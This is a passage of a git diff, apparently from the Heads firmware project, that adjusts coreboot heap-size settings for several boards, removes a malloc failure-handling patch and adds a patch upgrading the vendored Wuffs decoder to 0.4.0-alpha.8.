-CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index f7b59b0fc..56eaea73b 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -425,7 +425,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 64d57bfba..1f898e3fa 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -424,7 +424,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index cb17a7ad3..e03169aaa 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -401,7 +401,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 +CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y diff --git a/patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch b/patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch deleted file mode 100644 index 3913ba10c..000000000 --- a/patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch +++ /dev/null @@ -1,80 +0,0 @@ -From 8b6fc3a877d8169091d034ea6ac6d15593cc69a0 Mon Sep 17 00:00:00 2001 -From: Jonathon Hall -Date: Mon, 15 Jul 2024 15:01:52 -0400 -Subject: [PATCH] src/lib/malloc.c: If allocation fails, leave the heap - unchanged - -If an allocation fails because it is too large for the rest of the heap, -don't consume the rest of the heap needlessly. - -This started occurring with the Heads bootsplash image in 24.02.01, -following the switch to the Wuffs JPEG decoder. The work area needed -was too large for the heap. The bootsplash failed to show, but worse, -the boot failed entirely because we were then out of heap space, even -though we did not actually use the large allocation that failed. - -With this change, that failure no longer prevents boot. - -The error message is improved slightly also: -* missing line break is added -* "Tried to round up" now shows the beginning of the allocation before - and after rounding instead of the unrounded beginning and rounded end - (misleading, looked like it was trying to align by 1 MB when it - was actually allocating 1 MB) - -Change-Id: Ie72814027d9daa517c0794f3ea7abec2b9a9d596 -Signed-off-by: Jonathon Hall ---- - src/lib/malloc.c | 25 ++++++++++++------------- - 1 file changed, 12 insertions(+), 13 deletions(-) - -diff --git a/src/lib/malloc.c b/src/lib/malloc.c -index 30298064d9..281792c3d5 100644 ---- a/src/lib/malloc.c -+++ b/src/lib/malloc.c -@@ -26,30 +26,29 @@ void *memalign(size_t boundary, size_t size) - MALLOCDBG("%s Enter, boundary %zu, size %zu, free_mem_ptr %p\n", - __func__, boundary, size, free_mem_ptr); - -- free_mem_ptr = (void *)ALIGN_UP((unsigned long)free_mem_ptr, boundary); -+ p = (void *)ALIGN_UP((unsigned long)free_mem_ptr, boundary); - -- p = free_mem_ptr; -- free_mem_ptr += size; -- /* -- * Store last allocation pointer after ALIGN, as malloc() will -- * return it. This may cause n bytes of gap between allocations -- * where n < boundary. -- */ -- free_last_alloc_ptr = p; -- -- if (free_mem_ptr >= free_mem_end_ptr) { -+ if (p + size >= free_mem_end_ptr) { - printk(BIOS_ERR, "%s(boundary=%zu, size=%zu): failed: ", - __func__, boundary, size); - printk(BIOS_ERR, "Tried to round up free_mem_ptr %p to %p\n", -- p, free_mem_ptr); -+ free_mem_ptr, p); - printk(BIOS_ERR, "but free_mem_end_ptr is %p\n", - free_mem_end_ptr); - printk(BIOS_ERR, "Error! %s: Out of memory " -- "(free_mem_ptr >= free_mem_end_ptr)", -+ "(free_mem_ptr >= free_mem_end_ptr)\n", - __func__); - return NULL; - } - -+ free_mem_ptr = p + size; -+ /* -+ * Store last allocation pointer after ALIGN, as malloc() will -+ * return it. This may cause n bytes of gap between allocations -+ * where n < boundary. -+ */ -+ free_last_alloc_ptr = p; -+ - MALLOCDBG("%s %p\n", __func__, p); - - return p; --- -2.39.2 - diff --git a/patches/coreboot-24.02.01/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch b/patches/coreboot-24.02.01/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch new file mode 100644 index 000000000..7208d5ebc --- /dev/null +++ b/patches/coreboot-24.02.01/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch @@ -0,0 +1,111421 @@ +From b598d05d389e137baa10e277a37fca2c363fb295 Mon Sep 17 00:00:00 2001 +From: Nigel Tao +Date: Tue, 13 Aug 2024 22:10:52 +1000 +Subject: [PATCH] vc/wuffs: upgrade to Wuffs 0.4.0-alpha.8 + +We were previously at Wuffs 0.4.0-alpha.2. The C file was copied from +https://github.com/google/wuffs-mirror-release-c and its hash matches +https://github.com/google/wuffs-mirror-release-c/blob/90e4d81a6a8b7b601e8e568da32a105d7f7705e5/sync.txt#L9-L10 + +$ sha256sum src/vendorcode/wuffs/wuffs-v0.4.c +6c22caff4af929112601379a73f72461bc4719a5215366bcc90d599cbc442bb6 src/vendorcode/wuffs/wuffs-v0.4.c + +Change-Id: Ie90d989384e0db2b23d7d1b3d9a57920ac8a95a2 +Signed-off-by: Nigel Tao +Reviewed-on: https://review.coreboot.org/c/coreboot/+/83894 +Reviewed-by: Felix Singer +Reviewed-by: Nico Huber +Tested-by: build bot (Jenkins) +--- + src/vendorcode/wuffs/wuffs-v0.4.c | 101194 ++++++++++++++++----------- + 1 file changed, 58878 insertions(+), 42316 deletions(-) + +diff --git a/src/vendorcode/wuffs/wuffs-v0.4.c b/src/vendorcode/wuffs/wuffs-v0.4.c +index bce9eb9798..0c6616a652 100644 +--- a/src/vendorcode/wuffs/wuffs-v0.4.c ++++ b/src/vendorcode/wuffs/wuffs-v0.4.c +@@ -81,15 +81,43 @@ extern "C" { + // each major.minor branch, the commit count should increase monotonically. + // + // WUFFS_VERSION was overridden by "wuffs gen -version" based on revision +-// ae8531f7f846fbbe3a7340bf88499ad294a1367b committed on 2023-10-07. ++// 5d69840f8e7ca481551b02c7e8d4c5fb69521bb9 committed on 2024-08-12. + #define WUFFS_VERSION 0x000040000 + #define WUFFS_VERSION_MAJOR 0 + #define WUFFS_VERSION_MINOR 4 + #define WUFFS_VERSION_PATCH 0 +-#define WUFFS_VERSION_PRE_RELEASE_LABEL "alpha.2" +-#define WUFFS_VERSION_BUILD_METADATA_COMMIT_COUNT 3603 +-#define WUFFS_VERSION_BUILD_METADATA_COMMIT_DATE 20231007 +-#define WUFFS_VERSION_STRING "0.4.0-alpha.2+3603.20231007" ++#define WUFFS_VERSION_PRE_RELEASE_LABEL "alpha.8" ++#define WUFFS_VERSION_BUILD_METADATA_COMMIT_COUNT 3796 ++#define WUFFS_VERSION_BUILD_METADATA_COMMIT_DATE 20240812 ++#define WUFFS_VERSION_STRING "0.4.0-alpha.8+3796.20240812" ++ ++// ---------------- Private Implementation Macros Re-definition Check ++ ++// Users (those who #include the "wuffs-vM.N.c" file) should not define any ++// WUFFS_PRIVATE_IMPL__ETC macros, only WUFFS_CONFIG__ETC macros (and ++// WUFFS_IMPLEMENTATION). Mucking about with the private implementation macros ++// is not supported and may break when upgrading to newer Wuffs versions. ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) || \ ++ defined(WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) || \ ++ defined(WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) || \ ++ defined(WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U16) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U8) ++ ++#if defined(__GNUC__) || defined(__clang__) ++#warning "Defining WUFFS_PRIVATE_IMPL__ETC yourself is not supported" ++#elif defined(_MSC_VER) ++#pragma message("Defining WUFFS_PRIVATE_IMPL__ETC yourself is not supported") ++#endif ++ ++#endif + + // ---------------- Configuration + +@@ -117,11 +145,11 @@ extern "C" { + // intrinsics. Look for __ARM_FEATURE_CRC32 instead. + #if defined(__ARM_FEATURE_CRC32) + #include +-#define WUFFS_BASE__CPU_ARCH__ARM_CRC32 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32 + #endif // defined(__ARM_FEATURE_CRC32) + #if defined(__ARM_NEON) + #include +-#define WUFFS_BASE__CPU_ARCH__ARM_NEON ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON + #endif // defined(__ARM_NEON) + #endif // defined(__ARM_FEATURE_UNALIGNED) etc + +@@ -129,26 +157,82 @@ extern "C" { + // POPCNT. This is checked at runtime via cpuid, not at compile time. + // + // Likewise, "cpu_arch >= x86_avx2" also requires PCLMUL, POPCNT and SSE4.2. +-#if defined(__i386__) || defined(__x86_64__) ++// ++// ---- ++// ++// Technically, we could use the SSE family on 32-bit x86, not just 64-bit x86. ++// But some intrinsics don't compile in 32-bit mode. It's not worth the hassle. ++// https://github.com/google/wuffs/issues/145 ++#if defined(__x86_64__) + #if !defined(__native_client__) + #include + #include +-// X86_FAMILY means X86 (32-bit) or X86_64 (64-bit, obviously). +-#define WUFFS_BASE__CPU_ARCH__X86_FAMILY +-#if defined(__x86_64__) +-#define WUFFS_BASE__CPU_ARCH__X86_64 +-#endif // defined(__x86_64__) ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3 + #endif // !defined(__native_client__) +-#endif // defined(__i386__) || defined(__x86_64__) ++#endif // defined(__x86_64__) + + #elif defined(_MSC_VER) // (#if-chain ref AVOID_CPU_ARCH_1) + +-#if defined(_M_IX86) || defined(_M_X64) +-#if defined(__AVX__) || defined(__clang__) ++#if defined(_M_X64) ++ ++// On X86_64, Microsoft Visual C/C++ (MSVC) only supports SSE2 by default. ++// There are /arch:SSE2, /arch:AVX and /arch:AVX2 compiler flags (the AVX2 one ++// is roughly equivalent to X86_64_V3), but there is no /arch:SSE42 compiler ++// flag that's equivalent to X86_64_V2. ++// ++// For getting maximum performance with X86_64 MSVC and Wuffs, pass /arch:AVX2 ++// (and then test on the oldest hardware you intend to support). ++// ++// Absent that compiler flag, either define one of the three macros listed ++// below or else the X86_64 SIMD code will be disabled and you'll get a #pragma ++// message stating this library "performs best with /arch:AVX2". This message ++// is harmless and ignorable, in that the non-SIMD code is still correct and ++// reasonably performant, but is a reminder that when combining Wuffs and MSVC, ++// some compiler configuration is required for maximum performance. ++// ++// - WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY ++// - WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V2 (enables SSE4.2 and below) ++// - WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V3 (enables AVX2 and below) ++// ++// Defining the first one (WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) ++// or defining none of those three (the default state) are equivalent (in that ++// both disable the SIMD code paths), other than that pragma message. ++// ++// When defining these WUFFS_CONFIG__ENABLE_ETC macros with MSVC, be aware that ++// some users report it leading to ICEs (Internal Compiler Errors), but other ++// users report no problems at all (and improved performance). It's unclear ++// exactly what combination of SIMD code and MSVC configuration lead to ICEs. ++// Do your own testing with your own MSVC version and configuration. ++// ++// https://github.com/google/wuffs/issues/148 ++// https://github.com/google/wuffs/issues/151 ++// https://developercommunity.visualstudio.com/t/fatal--error-C1001:-Internal-compiler-er/10703305 ++// ++// Clang (including clang-cl) and GCC don't need this WUFFS_CONFIG__ETC macro ++// machinery, or having the Wuffs-the-library user to fiddle with compiler ++// flags, because they support "__attribute__((target(arg)))". ++#if defined(__AVX2__) || defined(__clang__) || \ ++ defined(WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V3) ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3 ++#elif defined(WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V2) ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 ++#elif !defined(WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) ++#pragma message("Wuffs with MSVC+X64 performs best with /arch:AVX2") ++#endif // defined(__AVX2__) || defined(__clang__) || etc ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) ++ ++#if defined(WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) ++#error "MSVC_CPU_ARCH simultaneously enabled and disabled" ++#endif + +-// We need for the __cpuid function. + #include +-// That's not enough for X64 SIMD, with clang-cl, if we want to use ++// intrin.h isn't enough for X64 SIMD, with clang-cl, if we want to use + // "__attribute__((target(arg)))" without e.g. "/arch:AVX". + // + // Some web pages suggest that is all you need, as it pulls in +@@ -157,25 +241,9 @@ extern "C" { + #include // AVX, AVX2, FMA, POPCNT + #include // SSE4.2 + #include // AES, PCLMUL +-// X86_FAMILY means X86 (32-bit) or X86_64 (64-bit, obviously). +-#define WUFFS_BASE__CPU_ARCH__X86_FAMILY +-#if defined(_M_X64) +-#define WUFFS_BASE__CPU_ARCH__X86_64 +-#endif // defined(_M_X64) +- +-#else // defined(__AVX__) || defined(__clang__) +- +-// clang-cl (which defines both __clang__ and _MSC_VER) supports +-// "__attribute__((target(arg)))". +-// +-// For MSVC's cl.exe (unlike clang or gcc), SIMD capability is a compile-time +-// property of the source file (e.g. a /arch:AVX or -mavx compiler flag), not +-// of individual functions (that can be conditionally selected at runtime). +-#pragma message("Wuffs with MSVC+IX86/X64 needs /arch:AVX for best performance") +- +-#endif // defined(__AVX__) || defined(__clang__) +-#endif // defined(_M_IX86) || defined(_M_X64) + ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) ++#endif // defined(_M_X64) + #endif // (#if-chain ref AVOID_CPU_ARCH_1) + #endif // (#if-chain ref AVOID_CPU_ARCH_0) + +@@ -198,20 +266,20 @@ extern "C" { + + static inline bool // + wuffs_base__cpu_arch__have_arm_crc32(void) { +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + return true; + #else + return false; +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + } + + static inline bool // + wuffs_base__cpu_arch__have_arm_neon(void) { +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + return true; + #else + return false; +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + } + + static inline bool // +@@ -220,7 +288,7 @@ wuffs_base__cpu_arch__have_x86_avx2(void) { + defined(__AVX2__) + return true; + #else +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + // GCC defines these macros but MSVC does not. + // - bit_AVX2 = (1 << 5) + const unsigned int avx2_ebx7 = 0x00000020; +@@ -258,9 +326,9 @@ wuffs_base__cpu_arch__have_x86_avx2(void) { + } + } + #else +-#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" ++#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" + #endif // defined(__GNUC__); defined(_MSC_VER) +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + return false; + #endif // defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) && + // defined(__AVX2__) +@@ -271,7 +339,7 @@ wuffs_base__cpu_arch__have_x86_bmi2(void) { + #if defined(__BMI2__) + return true; + #else +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + // GCC defines these macros but MSVC does not. + // - bit_BMI2 = (1 << 8) + const unsigned int bmi2_ebx7 = 0x00000100; +@@ -293,9 +361,9 @@ wuffs_base__cpu_arch__have_x86_bmi2(void) { + return true; + } + #else +-#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" ++#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" + #endif // defined(__GNUC__); defined(_MSC_VER) +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + return false; + #endif // defined(__BMI2__) + } +@@ -305,7 +373,7 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { + #if defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) + return true; + #else +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + // GCC defines these macros but MSVC does not. + // - bit_PCLMUL = (1 << 1) + // - bit_POPCNT = (1 << 23) +@@ -329,9 +397,9 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { + return true; + } + #else +-#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" ++#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" + #endif // defined(__GNUC__); defined(_MSC_VER) +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + return false; + #endif // defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) + } +@@ -350,9 +418,15 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { + // The "defined(__clang__)" isn't redundant. While vanilla clang defines + // __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. + #if defined(__GNUC__) || defined(__clang__) ++#define WUFFS_BASE__FORCE_INLINE __attribute__((__always_inline__)) + #define WUFFS_BASE__POTENTIALLY_UNUSED __attribute__((unused)) + #define WUFFS_BASE__WARN_UNUSED_RESULT __attribute__((warn_unused_result)) ++#elif defined(_MSC_VER) ++#define WUFFS_BASE__FORCE_INLINE __forceinline ++#define WUFFS_BASE__POTENTIALLY_UNUSED ++#define WUFFS_BASE__WARN_UNUSED_RESULT + #else ++#define WUFFS_BASE__FORCE_INLINE + #define WUFFS_BASE__POTENTIALLY_UNUSED + #define WUFFS_BASE__WARN_UNUSED_RESULT + #endif +@@ -415,6 +489,37 @@ struct wuffs_unique_ptr_deleter { + + // -------- + ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wcast-qual" ++#endif ++ ++static inline uint8_t* // ++wuffs_base__strip_const_from_u8_ptr(const uint8_t* ptr) { ++ return (uint8_t*)ptr; ++} ++ ++static inline uint16_t* // ++wuffs_base__strip_const_from_u16_ptr(const uint16_t* ptr) { ++ return (uint16_t*)ptr; ++} ++ ++static inline uint32_t* // ++wuffs_base__strip_const_from_u32_ptr(const uint32_t* ptr) { ++ return (uint32_t*)ptr; ++} ++ ++static inline uint64_t* // ++wuffs_base__strip_const_from_u64_ptr(const uint64_t* ptr) { ++ return (uint64_t*)ptr; ++} ++ ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ ++// -------- ++ + // wuffs_base__empty_struct is used when a Wuffs function returns an empty + // struct. In C, if a function f returns void, you can't say "x = f()", but in + // Wuffs, if a function g returns empty, you can say "y = g()". +@@ -483,6 +588,7 @@ extern const char wuffs_base__suspension__even_more_information[]; + extern const char wuffs_base__suspension__mispositioned_read[]; + extern const char wuffs_base__suspension__mispositioned_write[]; + extern const char wuffs_base__suspension__short_read[]; ++extern const char wuffs_base__suspension__short_workbuf[]; + extern const char wuffs_base__suspension__short_write[]; + extern const char wuffs_base__error__bad_i_o_position[]; + extern const char wuffs_base__error__bad_argument_length_too_short[]; +@@ -496,9 +602,11 @@ extern const char wuffs_base__error__bad_vtable[]; + extern const char wuffs_base__error__bad_workbuf_length[]; + extern const char wuffs_base__error__bad_wuffs_version[]; + extern const char wuffs_base__error__cannot_return_a_suspension[]; ++extern const char wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist[]; + extern const char wuffs_base__error__disabled_by_previous_error[]; + extern const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[]; + extern const char wuffs_base__error__initialize_not_called[]; ++extern const char wuffs_base__error__insufficient_history[]; + extern const char wuffs_base__error__interleaved_coroutine_calls[]; + extern const char wuffs_base__error__no_more_information[]; + extern const char wuffs_base__error__not_enough_data[]; +@@ -728,6 +836,9 @@ typedef struct wuffs_base__transform__output__struct { + // Lempel–Ziv 4. + #define WUFFS_BASE__FOURCC__LZ4 0x4C5A3420 + ++// Lzip. ++#define WUFFS_BASE__FOURCC__LZIP 0x4C5A4950 ++ + // Lempel–Ziv Markov-chain Algorithm. + #define WUFFS_BASE__FOURCC__LZMA 0x4C5A4D41 + +@@ -839,6 +950,8 @@ typedef struct wuffs_base__transform__output__struct { + + #define WUFFS_BASE__QUIRK_IGNORE_CHECKSUM 1 + ++#define WUFFS_BASE__QUIRK_QUALITY 2 ++ + // -------- + + // Flicks are a unit of time. One flick (frame-tick) is 1 / 705_600_000 of a +@@ -1092,6 +1205,96 @@ wuffs_base__multiply_u64(uint64_t x, uint64_t y) { + + // -------- + ++typedef struct wuffs_base__bitvec256__struct { ++ // elements_u64[0] holds the LSBs (least significant bits) and ++ // elements_u64[3] holds the MSBs (most significant bits). ++ uint64_t elements_u64[4]; ++} wuffs_base__bitvec256; ++ ++static inline wuffs_base__bitvec256 // ++wuffs_base__make_bitvec256(uint64_t e00, ++ uint64_t e01, ++ uint64_t e02, ++ uint64_t e03) { ++ wuffs_base__bitvec256 res; ++ res.elements_u64[0] = e00; ++ res.elements_u64[1] = e01; ++ res.elements_u64[2] = e02; ++ res.elements_u64[3] = e03; ++ return res; ++} ++ ++static inline uint64_t // ++wuffs_base__bitvec256__get_u64(const wuffs_base__bitvec256* b, uint32_t i) { ++ return b->elements_u64[i & 3]; ++} ++ ++// -------- ++ ++// wuffs_base__optional_u63 is like a std::optional, but for C (not ++// just C++) and the value can only hold 63 bits (not 64). ++// ++// Do not manipulate repr directly; it is a private implementation detail. ++typedef struct wuffs_base__optional_u63__struct { ++ uint64_t repr; ++ ++#ifdef __cplusplus ++ inline bool has_value() const; ++ inline uint64_t value() const; ++ inline uint64_t value_or(uint64_t default_value) const; ++#endif // __cplusplus ++ ++} wuffs_base__optional_u63; ++ ++// wuffs_base__make_optional_u63 ignores value when has_value is false. ++// ++// Preconditions: ++// - value < (1 << 63). ++static inline wuffs_base__optional_u63 // ++wuffs_base__make_optional_u63(bool has_value, uint64_t value) { ++ wuffs_base__optional_u63 res; ++ res.repr = has_value ? ((value << 1u) | 1u) : 0u; ++ return res; ++} ++ ++static inline bool // ++wuffs_base__optional_u63__has_value(const wuffs_base__optional_u63* o) { ++ return o->repr; ++} ++ ++// wuffs_base__optional_u63__value returns zero when o does not have a value. ++static inline uint64_t // ++wuffs_base__optional_u63__value(const wuffs_base__optional_u63* o) { ++ return o->repr >> 1u; ++} ++ ++static inline uint64_t // ++wuffs_base__optional_u63__value_or(const wuffs_base__optional_u63* o, ++ uint64_t default_value) { ++ return o->repr ? (o->repr >> 1u) : default_value; ++} ++ ++#ifdef __cplusplus ++ ++inline bool // ++wuffs_base__optional_u63::has_value() const { ++ return wuffs_base__optional_u63__has_value(this); ++} ++ ++inline uint64_t // ++wuffs_base__optional_u63::value() const { ++ return wuffs_base__optional_u63__value(this); ++} ++ ++inline uint64_t // ++wuffs_base__optional_u63::value_or(uint64_t default_value) const { ++ return wuffs_base__optional_u63__value_or(this, default_value); ++} ++ ++#endif // __cplusplus ++ ++// -------- ++ + // The "defined(__clang__)" isn't redundant. While vanilla clang defines + // __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. + #if (defined(__GNUC__) || defined(__clang__)) && (__SIZEOF_LONG__ == 8) +@@ -1529,7 +1732,7 @@ wuffs_base__make_slice_u64(uint64_t* ptr, size_t len) { + static inline wuffs_base__slice_u8 // + wuffs_base__make_slice_u8_ij(uint8_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u8 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1537,7 +1740,7 @@ wuffs_base__make_slice_u8_ij(uint8_t* ptr, size_t i, size_t j) { + static inline wuffs_base__slice_u16 // + wuffs_base__make_slice_u16_ij(uint16_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u16 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1545,7 +1748,7 @@ wuffs_base__make_slice_u16_ij(uint16_t* ptr, size_t i, size_t j) { + static inline wuffs_base__slice_u32 // + wuffs_base__make_slice_u32_ij(uint32_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u32 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1553,7 +1756,7 @@ wuffs_base__make_slice_u32_ij(uint32_t* ptr, size_t i, size_t j) { + static inline wuffs_base__slice_u64 // + wuffs_base__make_slice_u64_ij(uint64_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u64 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1696,7 +1899,7 @@ wuffs_base__slice_u8__subslice_i(wuffs_base__slice_u8 s, uint64_t i) { + if ((i <= SIZE_MAX) && (i <= s.len)) { + return wuffs_base__make_slice_u8(s.ptr + i, ((size_t)(s.len - i))); + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + // wuffs_base__slice_u8__subslice_j returns s[:j]. +@@ -1707,7 +1910,7 @@ wuffs_base__slice_u8__subslice_j(wuffs_base__slice_u8 s, uint64_t j) { + if ((j <= SIZE_MAX) && (j <= s.len)) { + return wuffs_base__make_slice_u8(s.ptr, ((size_t)j)); + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + // wuffs_base__slice_u8__subslice_ij returns s[i:j]. +@@ -1720,7 +1923,7 @@ wuffs_base__slice_u8__subslice_ij(wuffs_base__slice_u8 s, + if ((i <= j) && (j <= SIZE_MAX) && (j <= s.len)) { + return wuffs_base__make_slice_u8(s.ptr + i, ((size_t)(j - i))); + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + // wuffs_base__table_u8__subtable_ij returns t[ix:jx, iy:jy]. +@@ -1814,6 +2017,20 @@ WUFFS_BASE__MAYBE_STATIC int32_t // + wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, + bool prefix_closed); + ++// ---------------- Quirk Values ++ ++// These constants are the value half of a key-value pair, where the key is ++// WUFFS_BASE__QUIRK_QUALITY. ++// ++// In the Wuffs API, set_quirk takes a u64 value. These macro definitions are ++// likewise unsigned values (uint64_t) but for this particular key, they are ++// best interpreted as signed values (int64_t). "Lower-than-default quality" ++// and "higher-than-default quality", as signed values, are -1 and +1. ++// ++// See doc/note/quirks.md for some more discussion about trade-offs. ++#define WUFFS_BASE__QUIRK_QUALITY__VALUE__LOWER_QUALITY UINT64_MAX ++#define WUFFS_BASE__QUIRK_QUALITY__VALUE__HIGHER_QUALITY ((uint64_t)1) ++ + // ---------------- Ranges and Rects + + // See https://github.com/google/wuffs/blob/main/doc/note/ranges-and-rects.md +@@ -3011,7 +3228,8 @@ wuffs_base__io_buffer__compact(wuffs_base__io_buffer* buf) { + // wuffs_base__io_buffer__compact_retaining moves any written but unread bytes + // closer to the start of the buffer. It retains H bytes of history (the most + // 